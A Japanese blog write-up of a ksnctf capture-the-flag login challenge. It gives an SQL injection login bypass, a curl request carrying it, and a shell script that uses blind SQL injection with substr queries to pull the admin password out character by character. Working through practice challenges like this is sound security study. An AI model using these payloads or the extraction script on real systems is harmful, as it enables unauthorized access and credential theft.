![[ksnctf] Login [ksnctf] Login](/images/c/f/0/6/7/cf0670976dc0237de309fcf3bb3d8ccc982da0b2-06.png)
ksnctfにチャレンジ 第6問目です。
※ksnctfは常駐型のCTFサイトです。 ※問題のページはコチラです。
Login
ひとまずSQLインジェクションを使う問題のようなので
id=' or 1=1 --
pass=test
を指定してログインしてみます curl を使うなら "id=' or 1=1 --&pass=test" をURLエンコードして
curl 'http://ctfq.sweetduet.info:10080/~q6/' --data 'id=%27+or+1%3D1+--&pass=test'
こんなかんじでアクセスできます。 攻撃が通ったら Conguraturation という画面がでますが、この問題の本題はここからです。 この問題のFLAGは admin のパスワード であるようなので SQLインジェクションを工夫して admin のパスワードを割り出さなくてはいけません。
ただ、よくある問題のように インジェクションしたSQLに応じて画面になにか 表示されるようにはなっていません。分かるのは 入力したSQL分が通れば Conguraturation 通らなければ Login Error ということです。 つまり、Yes/No の応答しかわからないわけです。
こういう場合用いられるのが Blind SQL Injection という方法で 名前のとおりSQLの結果がそのままわからない状況でも 本問のように Yes/No がわかる状況ならば使えます。 SQL文内に sleep を含めることで 通れば SLEEP 通らなければ 即答 という感じで強引に Yes/No を聞き出す Time-based -- という方法などが 有名です。
やり方は簡単で SQL分を工夫して Yes/No で答えられる要求をつくればいいわけです。
例えば 「パスワードの1文字目が F ならば」 という条件を指定すれば Yes/No の質問で判定でき、 これを ASCIIの表示可能文字すべてで聞きこみ調査を行えば 自ずとパスワードの1文字目がわかります。 これをパスワード長分繰り返します。
この方法は各1文字ずつについて何度もアクセスを行う必要があるので なるべく聞き取り回数を減らすことが重要です。
まずパスワードは FLAG の形をしているので FLAG_{16桁} の形をしているはずです。 よってパスワードの長さは21桁 先頭の FLAG_ 5文字分は確定しているので6文字目から聞き取りを行います。
使用するSQL文の雛形は
id=admin' and substr((SELECT pass FROM user WHERE id='admin'),N文字目,1)='候補文字'--
先ほどの説明どおりで adminのパスワードのN文字目を1文字 substr で切り出してそれと一致する文字があるか 調べます。よくある形です。
以上のことから自動化したスクリプトを作成すればいいわけです。 シェルスクリプトでかきます。 こういう問題のwrite_upは pythonやRubyをよく見かけますが curlを中心に優秀なコマンドが揃っているのでシェルスクリプト のほうが案外楽なことも多かったりする気もします。
#!/bin/sh
i=5
flag="FLAG_"
function int2cher {
hex=$(printf "%x" $1)
echo $(printf "\x${hex}")
}
while [ ${i} -ne 21 ]
do
i=`expr ${i} + 1`
for j in `seq 33 126`
do
C=$(int2cher ${j})
curl -s 'http://ctfq.sweetduet.info:10080/~q6/' --data "id=admin%27+and+substr%28%28SELECT+pass+FROM+user+WHERE+id%3D%27admin%27%29%2C${i}%2C1%29%3D%27${C}%27--&pass=" -o tmp06
size=$( wc -c tmp06 | cut -d ' ' -f1 -)
if [ ${size} -gt 2100 ]
then
flag=${flag}${C}
echo ${flag}
break;
fi
done
done
成功と失敗の判定ですが、今回はファイルサイズを使って判定しています。 他には ファイル中に Congraturation という文字があるか? なども 材料になると思います。
表示方法は悩みましたがニョキニョキ伸びるようにしました。
実行に時間がかかるコードなので見た目の楽しさは重要です。